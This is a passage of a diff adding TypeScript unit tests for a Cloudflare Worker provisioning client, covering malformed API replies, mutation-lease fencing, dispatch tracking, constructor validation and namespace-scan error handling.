+  const fixture = recordingFetch(() => Promise.reject(error));
+  const client = plainClient({ fetch: fixture.fetch });
+  const prepared = await client.prepareOrdinaryWorkerUpload(
+    uploadIntent('initial'),
+  );
+  return fenced(client, () =>
+    client.dispatchOrdinaryWorkerUpload(prepared),
+  ).catch((failure: unknown) => failure);
+}
+
+function nestedTransportFailure(leaf: Error): Error {
+  // The SDK inspects the rejection and its immediate cause before wrapping
+  // (client.mjs:378-390); depth 3 places the hostile leaf below both, so every
+  // row reaches this boundary whichever operation is hostile. Some hazards
+  // (a prototype trap, a cause or constructor accessor) may reach it from a
+  // shallower depth; depth 3 is sufficient for every row.
+  return new Error('outer transport failure', {
+    cause: new Error('middle transport failure', { cause: leaf }),
+  });
+}
+
+afterEach(() => {
+  vi.restoreAllMocks();
+});
+
+describe('CloudflareProvisioningClient subdomain ingress proof', () => {
+  function fixture(reply: () => Response, present = true) {
+    const world = providerWorld();
+    world.seedScript('plain', {
+      present,
+      versions: [
+        {
+          versionId: 'v1',
+          tag: undefined,
+          bindings: [
+            { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' },
+            {
+              type: 'plain_text',
+              name: 'FLEET_ENVIRONMENT',
+              text: 'production',
+            },
+            { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '1' },
+          ],
+          mainModule: 'worker.js',
+          modules: [{ name: 'worker.js', content: 'export default {}' }],
+        },
+      ],
+      deployment: [{ versionId: 'v1', percentage: 100 }],
+      subdomain: { enabled: true, previewsEnabled: true },
+    });
+    const project = restProjection(world);
+    const transport = recordingFetch((request) => {
+      const url = new URL(request.url);
+      if (request.method === 'GET' && url.pathname.endsWith('/subdomain'))
+        return reply();
+      return zoneAuthorityResponse(url, []) ?? project(request);
+    });
+    return {
+      client: plainClient({ fetch: transport.fetch }),
+      subdomainReads: () =>
+        transport.requests.filter(
+          ({ method, url }) =>
+            method === 'GET' && new URL(url).pathname.endsWith('/subdomain'),
+        ),
+    };
+  }
+
+  const readers = [
+    {
+      name: 'footprint',
+      read: (client: CloudflareProvisioningClient) =>
+        client.inspectOrdinaryWorkerFootprint('plain'),
+    },
+    {
+      name: 'disable readback',
+      read: (client: CloudflareProvisioningClient) =>
+        client.disableOrdinaryWorkerPublicAccess('plain', {
+          mutationLeaseTtlMs: 15 * 60_000,
+          assertOwned: async () => {},
+        }),
+    },
+    {
+      name: 'control inspection',
+      read: (client: CloudflareProvisioningClient) =>
+        client.inspectControlWorker('plain'),
+    },
+  ] as const;
+  const malformed = [
+    { label: 'missing flags', reply: () => single({}) },
+    {
+      label: 'missing enabled',
+      reply: () => single({ previews_enabled: false }),
+    },
+    {
+      label: 'missing previews',
+      reply: () => single({ enabled: false }),
+    },
+    {
+      label: 'null enabled',
+      reply: () => single({ enabled: null, previews_enabled: false }),
+    },
+    {
+      label: 'numeric enabled',
+      reply: () => single({ enabled: 0, previews_enabled: false }),
+    },
+    {
+      label: 'string enabled',
+      reply: () => single({ enabled: 'false', previews_enabled: false }),
+    },
+    {
+      label: 'null previews',
+      reply: () => single({ enabled: false, previews_enabled: null }),
+    },
+    {
+      label: 'string previews',
+      reply: () => single({ enabled: false, previews_enabled: 'false' }),
+    },
+    {
+      label: 'numeric previews',
+      reply: () => single({ enabled: false, previews_enabled: 0 }),
+    },
+    {
+      label: 'missing result',
+      reply: () => Response.json({ success: true }),
+    },
+    { label: 'null result', reply: () => single(null) },
+    { label: 'array result', reply: () => single([]) },
+    {
+      label: 'failed envelope',
+      reply: () =>
+        Response.json({
+          success: false,
+          result: { enabled: false, previews_enabled: false },
+        }),
+    },
+    {
+      label: 'missing success',
+      reply: () =>
+        Response.json({ result: { enabled: false, previews_enabled: false } }),
+    },
+    {
+      label: 'error metadata',
+      reply: () =>
+        Response.json({
+          success: true,
+          errors: [{ code: 1000 }],
+          result: { enabled: false, previews_enabled: false },
+        }),
+    },
+    {
+      label: 'non-array errors',
+      reply: () =>
+        Response.json({
+          success: true,
+          errors: 'bad',
+          result: { enabled: false, previews_enabled: false },
+        }),
+    },
+    {
+      label: 'non-JSON media',
+      reply: () =>
+        new Response(
+          '{"success":true,"result":{"enabled":false,"previews_enabled":false}}',
+          { headers: { 'content-type': 'text/plain' } },
+        ),
+    },
+    {
+      label: 'partial success',
+      reply: () =>
+        Response.json(
+          {
+            success: true,
+            result: { enabled: false, previews_enabled: false },
+          },
+          { status: 206 },
+        ),
+    },
+  ];
+
+  it.each(
+    readers.flatMap((reader) =>
+      malformed.map((response) => ({ ...reader, ...response })),
+    ),
+  )('$name refuses $label', async ({ read, reply }) => {
+    const { client, subdomainReads } = fixture(reply);
+    await expect(read(client)).rejects.toThrow();
+    expect(subdomainReads()).toHaveLength(1);
+  });
+
+  it('accepts null errors and messages in subdomain ingress metadata', async () => {
+    const { client } = fixture(() =>
+      Response.json({
+        success: true,
+        errors: null,
+        messages: null,
+        result: { enabled: false, previews_enabled: false },
+      }),
+    );
+    await expect(
+      client.inspectOrdinaryWorkerFootprint('plain'),
+    ).resolves.toMatchObject({
+      scriptPresent: true,
+      workersDevEnabled: false,
+      previewUrlsEnabled: false,
+    });
+    await expect(client.inspectControlWorker('plain')).resolves.toMatchObject({
+      workersDevEnabled: false,
+      previewUrlsEnabled: false,
+    });
+    await expect(readers[1].read(client)).resolves.toBeUndefined();
+  });
+
+  it.each([
+    { enabled: false, previews_enabled: false },
+    { enabled: true, previews_enabled: false },
+    { enabled: false, previews_enabled: true },
+    { enabled: true, previews_enabled: true },
+  ])('preserves explicit ingress flags %j', async (flags) => {
+    const { client } = fixture(() => single(flags));
+    const expected = {
+      workersDevEnabled: flags.enabled,
+      previewUrlsEnabled: flags.previews_enabled,
+    };
+    await expect(
+      client.inspectOrdinaryWorkerFootprint('plain'),
+    ).resolves.toMatchObject({
+      scriptPresent: true,
+      ...expected,
+    });
+    await expect(client.inspectControlWorker('plain')).resolves.toMatchObject(
+      expected,
+    );
+    const disabled = readers[1].read(client);
+    if (flags.enabled || flags.previews_enabled)
+      await expect(disabled).rejects.toThrow();
+    else await expect(disabled).resolves.toBeUndefined();
+  });
+
+  it.each(readers)('$name preserves a real subdomain 404', async ({
+    name,
+    read,
+  }) => {
+    const { client, subdomainReads } = fixture(() => apiFailure(404));
+    if (name === 'footprint')
+      await expect(read(client)).rejects.toMatchObject({ status: 404 });
+    else await expect(read(client)).resolves.toBeUndefined();
+    expect(subdomainReads()).toHaveLength(1);
+  });
+
+  it.each(readers)('$name preserves permission failure', async ({ read }) => {
+    const { client } = fixture(() => apiFailure(403));
+    await expect(read(client)).rejects.toMatchObject({ status: 403 });
+  });
+
+  it.each(
+    readers,
+  )('$name preserves an absent Worker without reading subdomain flags', async ({
+    name,
+    read,
+  }) => {
+    const { client, subdomainReads } = fixture(() => {
+      throw new Error('absent Worker must not read subdomain flags');
+    }, false);
+    if (name === 'footprint')
+      await expect(read(client)).resolves.toMatchObject({
+        scriptPresent: false,
+      });
+    else await expect(read(client)).resolves.toBeUndefined();
+    expect(subdomainReads()).toEqual([]);
+  });
+
+  it.each([
+    { label: 'missing flags', reply: () => single({}) },
+    { label: 'missing result', reply: () => Response.json({ success: true }) },
+    {
+      label: 'nonboolean flags',
+      reply: () => single({ enabled: 'false', previews_enabled: 0 }),
+    },
+    {
+      label: 'failed envelope',
+      reply: () =>
+        Response.json({
+          success: false,
+          result: { enabled: false, previews_enabled: false },
+        }),
+    },
+  ])('R3 records unavailable detail for $label', async ({ reply }) => {
+    const { client, subdomainReads } = fixture(reply);
+    const inventory = await client.collectFleetInventory({
+      databaseNamePrefix: 'fleet-',
+      scriptNamePrefix: 'plain',
+      includeDispatchNamespace: false,
+    });
+    expect(subdomainReads().length).toBeGreaterThan(0);
+    expect(inventory.deployments).toEqual([]);
+    expect(inventory.findings).toContainEqual(
+      expect.objectContaining({ kind: 'incomplete-deployment' }),
+    );
+  });
+
+  it('R3 retains an inventoried deployment with explicit disabled flags', async () => {
+    const { client } = fixture(() =>
+      single({ enabled: false, previews_enabled: false }),
+    );
+    const inventory = await client.collectFleetInventory({
+      databaseNamePrefix: 'fleet-',
+      scriptNamePrefix: 'plain',
+      includeDispatchNamespace: false,
+    });
+    expect(inventory.deployments).toMatchObject([
+      { scriptName: 'plain', artifactVersion: 'v1' },
+    ]);
+    expect(inventory.findings).toEqual([]);
+  });
+});
+
+describe('CloudflareProvisioningClient plain-worker plane', () => {
+  it('a queued mutation asserts its own lease', async () => {
+    const response = deferred<Response>();
+    const started = deferred<void>();
+    const fixture = recordingFetch(() => {
+      started.resolve();
+      return response.promise;
+    });
+    const client = plainClient({
+      concurrency: 1,
+      fetch: fixture.fetch,
+      requestTimeoutMs: 1_000,
+    });
+    const firstAssertOwned = vi.fn(async () => {});
+    let secondOwned = true;
+    const secondFenceError = new Error('second mutation lease lost');
+    const secondAssertOwned = vi.fn(async () => {
+      if (!secondOwned) throw secondFenceError;
+    });
+    const firstPrepared = client.prepareOrdinaryWorkerDeployment([
+      { versionId: 'v1', percentage: 100 },
+    ]);
+    const secondPrepared = client.prepareOrdinaryWorkerDeployment([
+      { versionId: 'v2', percentage: 100 },
+    ]);
+    const first = client.withMutationFence(
+      { mutationLeaseTtlMs: 2_000, assertOwned: firstAssertOwned },
+      () => client.dispatchOrdinaryWorkerDeployment('first', firstPrepared),
+    );
+    await started.promise;
+    const second = client.withMutationFence(
+      { mutationLeaseTtlMs: 2_000, assertOwned: secondAssertOwned },
+      () => client.dispatchOrdinaryWorkerDeployment('second', secondPrepared),
+    );
+    secondOwned = false;
+    response.resolve(single({ id: 'deployment' }));
+
+    await expect(first).resolves.toBeUndefined();
+    const failure = await second.catch((error: unknown) => error);
+    expect(errorChain(failure)).toContain(secondFenceError.message);
+    expect(fixture.requests).toHaveLength(1);
+    expect(firstAssertOwned).toHaveBeenCalledOnce();
+  });
+
+  it('a queued operation classifies its own dispatch after p-queue handoff', async () => {
+    const readResponse = deferred<Response>();
+    const readStarted = deferred<void>();
+    const fixture = recordingFetch(({ method }) => {
+      if (method !== 'GET') return apiFailure(500);
+      readStarted.resolve();
+      return readResponse.promise;
+    });
+    const client = plainClient({ concurrency: 1, fetch: fixture.fetch });
+    const secondSettled = deferred<void>();
+    const sentinel = new Error('first operation failed locally');
+    const first = withProviderDispatchTracking(client, async () => {
+      await client.findOrdinaryWorkerVersion('plain', 'v1');
+      await secondSettled.promise;
+      throw sentinel;
+    });
+    await readStarted.promise;
+    const prepared = client.prepareOrdinaryWorkerDeployment([
+      { versionId: 'v2', percentage: 100 },
+    ]);
+    const second = withProviderDispatchTracking(client, () =>
+      client.withMutationFence(
+        { mutationLeaseTtlMs: 15 * 60_000, assertOwned: vi.fn(async () => {}) },
+        () => client.dispatchOrdinaryWorkerDeployment('plain', prepared),
+      ),
+    );
+    readResponse.resolve(single({ id: 'v1', resources: { bindings: [] } }));
+    const secondFailure = await second.catch((error: unknown) => error);
+    secondSettled.resolve();
+    const firstFailure = await first.catch((error: unknown) => error);
+
+    expect(secondFailure).not.toBeInstanceOf(
+      CloudflareProviderRequestNotDispatchedError,
+    );
+    expect(fact(secondFailure, 'status')).toBe(500);
+    expect(firstFailure).toBeInstanceOf(
+      CloudflareProviderRequestNotDispatchedError,
+    );
+    expect(fact(firstFailure, 'cause')).toBe(sentinel);
+  });
+
+  it.each([
+    [
+      'local failure',
+      (_client: CloudflareProvisioningClient) => async () =>
+        Promise.reject(new Error('local preparation failed')),
+      true,
+      0,
+      'local preparation failed',
+    ],
+    [
+      'read failure',
+      (client: CloudflareProvisioningClient) => () =>
+        client.findOrdinaryWorkerVersion('plain', 'missing'),
+      true,
+      3,
+      undefined,
+    ],
+    [
+      'mutation failure',
+      (client: CloudflareProvisioningClient) => {
+        const prepared = client.prepareOrdinaryWorkerDeployment([
+          { versionId: 'v1', percentage: 100 },
+        ]);
+        return () =>
+          fenced(client, () =>
+            client.dispatchOrdinaryWorkerDeployment('plain', prepared),
+          );
+      },
+      false,
+      1,
+      undefined,
+    ],
+    [
+      'transport fence failure',
+      (client: CloudflareProvisioningClient) => {
+        const prepared = client.prepareOrdinaryWorkerDeployment([
+          { versionId: 'v1', percentage: 100 },
+        ]);
+        return () =>
+          client.withMutationFence(
+            {
+              mutationLeaseTtlMs: 15 * 60_000,
+              assertOwned: async () => {
+                throw new Error('transport fence lost');
+              },
+            },
+            () => client.dispatchOrdinaryWorkerDeployment('plain', prepared),
+          );
+      },
+      true,
+      0,
+      'transport fence lost',
+    ],
+  ] as const)('tracks provider dispatch for %s', async (_kind, buildOperation, expectsWrapper, expectedRequestCount, expectedCauseFragment) => {
+    const fixture = recordingFetch(() => apiFailure(500));
+    const client = plainClient({ fetch: fixture.fetch });
+    const failure = await withProviderDispatchTracking(
+      client,
+      buildOperation(client),
+    ).catch((error: unknown) => error);
+
+    expect(failure instanceof CloudflareProviderRequestNotDispatchedError).toBe(
+      expectsWrapper,
+    );
+    expect(fact(failure, 'status')).toBe(expectsWrapper ? undefined : 500);
+    expect(fixture.requests).toHaveLength(expectedRequestCount);
+    if (expectedCauseFragment !== undefined) {
+      expect(errorChain(fact(failure, 'cause'))).toContain(
+        expectedCauseFragment,
+      );
+    }
+  });
+
+  it('runs a queued request under its enqueuer context', async () => {
+    const testContext = new AsyncLocalStorage<string>();
+    const stores: Array<readonly [string, string | undefined]> = [];
+    const world = providerWorld();
+    const bindings = [
+      { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' },
+      {
+        type: 'plain_text',
+        name: 'FLEET_ENVIRONMENT',
+        text: 'production',
+      },
+      { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '1' },
+    ];
+    world.seedScript('plain', {
+      versions: [
+        {
+          versionId: 'v1',
+          tag: undefined,
+          bindings,
+          mainModule: 'worker.js',
+          modules: [{ name: 'worker.js', content: 'export default {}' }],
+        },
+      ],
+      deployment: [{ versionId: 'v1', percentage: 100 }],
+      subdomain: { enabled: false, previewsEnabled: false },
+    });
+    const project = restProjection(world);
+    const versionResponse = deferred<Response>();
+    const subdomainResponse = deferred<Response>();
+    const fanStarted = deferred<void>();
+    let blocked = 0;
+    const hold = (response: ReturnType<typeof deferred<Response>>) => {
+      blocked += 1;
+      if (blocked === 2) fanStarted.resolve();
+      return response.promise;
+    };
+    const fixture = recordingFetch((request) => {
+      const { url } = request;
+      const target = new URL(url);
+      stores.push([target.pathname, testContext.getStore()]);
+      if (target.pathname.endsWith('/versions/v1')) {
+        return hold(versionResponse);
+      }
+      if (target.pathname.endsWith('/subdomain')) {
+        return hold(subdomainResponse);
+      }
+      if (target.pathname.endsWith('/versions/v2')) {
+        return single({ id: 'v2', resources: { bindings: [] } });
+      }
+      const authority = zoneAuthorityResponse(target, []);
+      if (authority) return authority;
+      if (target.pathname.endsWith('/workers/scripts')) {
+        return pageArray([{ id: 'plain' }]);
+      }
+      if (target.pathname.endsWith('/secrets')) return pageArray([]);
+      if (
+        target.pathname.endsWith('/workers/domains') ||
+        target.pathname.endsWith('/workers/durable_objects/namespaces')
+      ) {
+        return pageArray([]);
+      }
+      return project(request);
+    });
+    const client = plainClient({ concurrency: 2, fetch: fixture.fetch });
+    const first = testContext.run('A', () =>
+      // collectFleetInventory is A because its version/subdomain fan-out uses
+      // raw SDK calls from one operation slot, so its held requests fill both
+      // request slots and B queues there; a future #schedule around the fan-out
+      // would silently make this test vacuous.
+      client.collectFleetInventory({
+        databaseNamePrefix: 'fleet-',
+        scriptNamePrefix: 'plain',
+        includeDispatchNamespace: false,
+      }),
+    );
+    await fanStarted.promise;
+    const second = testContext.run('B', () =>
+      client.findOrdinaryWorkerVersion('plain', 'v2'),
+    );
+    // Let the SDK enqueue B while A still occupies both request slots.
+    await new Promise<void>((resolve) => setImmediate(resolve));
+    versionResponse.resolve(single({ id: 'v1', resources: { bindings } }));
+    subdomainResponse.resolve(
+      single({ enabled: false, previews_enabled: false }),
+    );
+
+    await expect(second).resolves.toMatchObject({ versionId: 'v2' });
+    await expect(first).resolves.toMatchObject({
+      deployments: [{ artifactVersion: 'v1' }],
+    });
+    expect(stores.find(([path]) => path.endsWith('/versions/v2'))?.[1]).toBe(
+      'B',
+    );
+  });
+
+  it('pins the four existing constructor validation messages', () => {
+    expect(() =>
+      Reflect.construct(CloudflareProvisioningClient, [
+        { accountId: '', apiToken: '', dispatchNamespace: '' },
+      ]),
+    ).toThrow('accountId, apiToken, and dispatchNamespace are required');
+    expect(() =>
+      Reflect.construct(CloudflareProvisioningClient, [
+        { accountId: 'a', apiToken: 't', dispatchNamespace: 'd' },
+      ]),
+    ).toThrow('rateCoordinator is required');
+    expect(
+      () =>
+        new CloudflareProvisioningClient({
+          accountId: 'a',
+          apiToken: 't',
+          dispatchNamespace: 'd',
+          rateCoordinator: testRateCoordinator(),
+          concurrency: 0,
+        }),
+    ).toThrow('concurrency must be a positive integer');
+    expect(
+      () =>
+        new CloudflareProvisioningClient({
+          accountId: 'a',
+          apiToken: 't',
+          dispatchNamespace: 'd',
+          rateCoordinator: testRateCoordinator(),
+          requestTimeoutMs: 0,
+        }),
+    ).toThrow('requestTimeoutMs must be a positive integer');
+  });
+
+  it('accepts exactly the valid WFP and plain option shapes', () => {
+    expect(
+      new CloudflareProvisioningClient({
+        accountId: 'a',
+        apiToken: 't',
+        dispatchNamespace: 'd',
+        rateCoordinator: testRateCoordinator(),
+      }),
+    ).toBeInstanceOf(CloudflareProvisioningClient);
+    expect(plainClient().requestTimeoutMs).toBe(60_000);
+    expect(() =>
+      Reflect.construct(CloudflareProvisioningClient, [
+        {
+          accountId: 'a',
+          apiToken: 't',
+          plane: 'ordinary',
+          rateCoordinator: testRateCoordinator(),
+        },
+      ]),
+    ).toThrow('unsupported Cloudflare client plane');
+    expect(() =>
+      Reflect.construct(CloudflareProvisioningClient, [
+        {
+          accountId: '',
+          apiToken: 't',
+          plane: 'plain-worker',
+          rateCoordinator: testRateCoordinator(),
+        },
+      ]),
+    ).toThrow('accountId and apiToken are required');
+    for (const dispatchNamespace of [undefined, '', 'named']) {
+      expect(() =>
+        Reflect.construct(CloudflareProvisioningClient, [
+          {
+            accountId: 'a',
+            apiToken: 't',
+            plane: 'plain-worker',
+            dispatchNamespace,
+            rateCoordinator: testRateCoordinator(),
+          },
+        ]),
+      ).toThrow('plain-worker plane cannot name a dispatch namespace');
+    }
+  });
+
+  it('rejects every unconditional WFP member before issuing a request', async () => {
+    const fetch = vi.fn<typeof globalThis.fetch>();
+    const client = plainClient({ fetch });
+    const cases: readonly [string, () => unknown][] = [
+      ['platformPlaneScope', () => client.platformPlaneScope()],
+      [
+        'assertUntrustedDispatchNamespace',
+        () => client.assertUntrustedDispatchNamespace(),
+      ],
+      ['ensureDispatchNamespace', () => client.ensureDispatchNamespace()],
+      [
+        'uploadDispatchWorker',
+        () =>
+          client.uploadDispatchWorker(
+            {
+              tenantTag: 't',
+              environment: 'e',
+              scriptName: 's',
+              databaseName: 'd',
+              compatibilityDate: '2026-08-26',
+              mainModule: 'worker.js',
+              modules: [],
+              authoredBy: 'platform',
+              schemaVersion: 1,
+              migrations: [],
+              durableObjectMigrations: [],
+              durableObjectBindings: [],
+              maintenanceBaseUrl: 'https://example.test',
+              routeHostname: 'example.test',
+            },
+            { id: 'db', name: 'db', created: false },
+          ),
+      ],
+      [
+        'uploadNamespacedStateWorker',
+        () =>
+          client.uploadNamespacedStateWorker({
+            spec: {
+              tenantTag: 't',
+              environment: 'e',
+              scriptName: 's',
+              databaseName: 'd',
+              compatibilityDate: '2026-08-26',
+              mainModule: 'worker.js',
+              modules: [],
+              authoredBy: 'platform',
+              schemaVersion: 1,
+              migrations: [],
+              durableObjectMigrations: [],
+              durableObjectBindings: [],
+              maintenanceBaseUrl: 'https://example.test',
+              routeHostname: 'example.test',
+            },
+            database: { id: 'db', name: 'db', created: false },
+            artifact: {
+              mainModule: 'worker.js',
+              modules: [],
+              compatibilityDate: '2026-08-26',
+            },
+            artifactDigest: 'digest',
+            maintenanceCapabilityPublicKey: 'key',
+            sharedOutboundWorkerName: 'outbound',
+            stateEgressCredentialDigest: 'digest',
+          }),
+      ],
+      [
+        'putDispatchSecrets',
+        () =>
+          client.putDispatchSecrets('s', {
+            deploymentIdentity: 'identity',
+            maintenanceAdmin: 'maintenance',
+          }),
+      ],
+      ['inspectDispatchWorker', () => client.inspectDispatchWorker('s')],
+      ['revokeDispatchSecrets', () => client.revokeDispatchSecrets('s')],
+      ['deleteDispatchWorker', () => client.deleteDispatchWorker('s')],
+    ];
+    for (const [operation, invoke] of cases) {
+      let failure: unknown;
+      try {
+        await invoke();
+      } catch (error) {
+        failure = error;
+      }
+      expect(failure).toBeInstanceOf(CloudflarePlaneCapabilityError);
+      expect(fact(failure, 'operation')).toBe(operation);
+      expect(fact(failure, 'requiredPlane')).toBe('workers-for-platforms');
+    }
+    expect(fetch).not.toHaveBeenCalled();
+  });
+
+  it('uses collectFleetInventory without dispatch and guards dispatch after KV reads', async () => {
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.includes('/storage/kv/namespaces/kv/keys')) {
+        return pageArray([]);
+      }
+      if (target.pathname.endsWith('/workers/domains')) {
+        return pageArray([]);
+      }
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/d1/database')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/durable_objects/namespaces')) {
+        return pageArray([]);
+      }
+      const authority = zoneAuthorityResponse(target, []);
+      if (authority) return authority;
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const client = plainClient({ fetch: fixture.fetch });
+    await expect(
+      client.collectFleetInventory({
+        databaseNamePrefix: 'fleet-',
+        scriptNamePrefix: 'fleet-',
+        includeDispatchNamespace: false,
+      }),
+    ).resolves.toMatchObject({ deployments: [], databaseIds: [] });
+    await expect(
+      client.collectFleetInventory({
+        hostRoutingKvId: 'kv',
+        databaseNamePrefix: 'fleet-',
+        scriptNamePrefix: 'fleet-',
+        includeDispatchNamespace: true,
+      }),
+    ).rejects.toMatchObject({
+      name: 'CloudflarePlaneCapabilityError',
+      operation: 'collectFleetInventory',
+    });
+    expect(
+      fixture.requests.filter((request) => request.url.includes('/kv/')).length,
+    ).toBe(1);
+    expect(
+      fixture.requests.some((request) => request.url.includes('/dispatch/')),
+    ).toBe(false);
+  });
+
+  it('does not convert a plain-only dispatch capability failure into a stale registration', async () => {
+    const key = '__anchorage_script__:fleet-registered';
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      const pathname = decodeURIComponent(target.pathname);
+      if (pathname.endsWith('/storage/kv/namespaces/kv/keys')) {
+        return pageArray([{ name: key }]);
+      }
+      if (pathname.includes('/storage/kv/namespaces/kv/values/')) {
+        return new Response(
+          JSON.stringify({
+            scriptName: 'fleet-registered',
+            tenantTag: 'acme',
+            environment: 'production',
+            databaseId: 'db',
+            routeHostname: 'app.example.test',
+          }),
+        );
+      }
+      if (
+        pathname.endsWith('/workers/domains') ||
+        pathname.endsWith('/workers/scripts') ||
+        pathname.endsWith('/d1/database') ||
+        pathname.endsWith('/workers/durable_objects/namespaces')
+      ) {
+        return pageArray([]);
+      }
+      const authority = zoneAuthorityResponse(target, []);
+      if (authority) return authority;
+      throw new Error(`unexpected request ${pathname}`);
+    });
+
+    await expect(
+      plainClient({ fetch: fixture.fetch }).collectFleetInventory({
+        hostRoutingKvId: 'kv',
+        databaseNamePrefix: 'fleet-',
+        scriptNamePrefix: 'fleet-',
+        includeDispatchNamespace: false,
+      }),
+    ).rejects.toMatchObject({
+      name: 'CloudflarePlaneCapabilityError',
+      operation: 'inspectDispatchWorker',
+    });
+    expect(
+      fixture.requests.some(({ url }) => url.includes('/workers/dispatch/')),
+    ).toBe(false);
+  });
+
+  it.each([
+    [
+      'database',
+      (client: CloudflareProvisioningClient) =>
+        client.listWorkerDatabaseAttachments('db'),
+    ],
+    [
+      'r2',
+      (client: CloudflareProvisioningClient) =>
+        client.listWorkerR2Attachments('bucket'),
+    ],
+  ] as const)('treats a plain-only first-page namespace 404 as no namespaces for the %s scanner', async (_name, scan) => {
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return apiFailure(404);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const client = plainClient({ fetch: fixture.fetch });
+
+    await expect(scan(client)).resolves.toEqual([]);
+    expect(
+      fixture.requests.some((request) =>
+        request.url.endsWith('/workers/dispatch/namespaces'),
+      ),
+    ).toBe(true);
+  });
+
+  it('keeps ordinary attachments when a plain-only namespace scan is exhaustively empty', async () => {
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        return pageArray([{ id: 'ordinary' }]);
+      }
+      if (target.pathname.endsWith('/deployments')) {
+        return single({
+          deployments: [
+            {
+              versions: [{ version_id: 'v1', percentage: 100 }],
+            },
+          ],
+        });
+      }
+      if (target.pathname.endsWith('/versions/v1')) {
+        return single({
+          id: 'v1',
+          resources: {
+            bindings: [
+              { type: 'd1', name: 'DB', database_id: 'db' },
+              { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket' },
+            ],
+          },
+        });
+      }
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const client = plainClient({ fetch: fixture.fetch });
+
+    await expect(client.listWorkerDatabaseAttachments('db')).resolves.toEqual([
+      { scriptName: 'ordinary', plane: 'ordinary' },
+    ]);
+    await expect(client.listWorkerR2Attachments('bucket')).resolves.toEqual([
+      { scriptName: 'ordinary', plane: 'ordinary' },
+    ]);
+  });
+
+  it.each([
+    403, 404,
+  ] as const)('propagates namespace status %s under Workers for Platforms for both scanners', async (status) => {
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return apiFailure(status);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'token',
+      dispatchNamespace: 'fleet',
+      rateCoordinator: testRateCoordinator(),
+      fetch: fixture.fetch,
+    });
+
+    await expect(
+      client.listWorkerDatabaseAttachments('db'),
+    ).rejects.toMatchObject({ status });
+    await expect(
+      client.listWorkerR2Attachments('bucket'),
+    ).rejects.toMatchObject({ status });
+  });
+
+  it('propagates a plain-only namespace 404 after the first yielded page item', async () => {
+    vi.spyOn(BaseNamespaces.prototype, 'list').mockReturnValue(
+      (async function* () {
+        yield { namespace_name: 'first' };
+        throw Object.assign(new Error('later namespace page missing'), {
+          status: 404,
+        });
+      })() as never,
+    );
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/namespaces/first/scripts')) {
+        return pageArray([]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+
+    await expect(
+      plainClient({ fetch: fixture.fetch }).listWorkerDatabaseAttachments('db'),
+    ).rejects.toMatchObject({ status: 404 });
+  });
+
+  it.each([
+    [
+      'database',
+      (client: CloudflareProvisioningClient) =>
+        client.listWorkerDatabaseAttachments('db'),
+    ],
+    [
+      'r2',
+      (client: CloudflareProvisioningClient) =>
+        client.listWorkerR2Attachments('bucket'),
+    ],
+  ] as const)('propagates a forbidden plain-only namespace scan for the %s scanner', async (_name, scan) => {
+    const fixture = recordingFetch(({ url }) =>
+      new URL(url).pathname.endsWith('/workers/scripts')
+        ? pageArray([])
+        : apiFailure(403),
+    );
+    const client = plainClient({ fetch: fixture.fetch });
+    await expect(scan(client)).rejects.toMatchObject({ status: 403 });
+  });
+
+  it('forces SDK logging off even when the environment requests debug logs', async () => {
+    const previous = process.env.CLOUDFLARE_LOG;
+    process.env.CLOUDFLARE_LOG = 'debug';
+    const debug = vi.spyOn(console, 'debug').mockImplementation(() => {});
+    try {
+      const fixture = recordingFetch(() => pageItems([]));
+      await plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions(
+        'plain',
+      );
+      expect(debug).not.toHaveBeenCalled();
+    } finally {
+      if (previous === undefined) delete process.env.CLOUDFLARE_LOG;
+      else process.env.CLOUDFLARE_LOG = previous;
+    }
+  });
+
+  it('refuses incomplete database identity and retains raw deployment facts', async () => {
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/d1/database')) {
+        if (target.searchParams.has('page')) return pageArray([]);
+        return pageArray([{ uuid: 'db', name: 'name' }, { uuid: 4 }]);
+      }
+      if (target.pathname.endsWith('/deployments')) {
+        return single({
+          deployments: [
+            {
+              versions: [
+                { version_id: 'newest', percentage: '25' },
+                { id: 'older' },
+              ],
+            },
+          ],
+        });
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const client = plainClient({ fetch: fixture.fetch });
+    await expect(client.listOrdinaryWorkerDatabases()).rejects.toThrow(
+      'D1 database inventory has an invalid uuid or name',
+    );
+    await expect(
+      client.ordinaryWorkerDeploymentStatus('plain'),
+    ).resolves.toEqual({
+      versions: [
+        { versionId: 'newest', percentage: 25 },
+        { versionId: 'older', percentage: undefined },
+      ],
+    });
+  });
+
+  it('models the provider-side D1 name filter', async () => {
+    const world = providerWorld();
+    world.seedDatabase('target', { databaseId: 'target-id' });
+    world.seedDatabase('other', { databaseId: 'other-id' });
+    const fixture = recordingFetch(restProjection(world));
+
+    await expect(
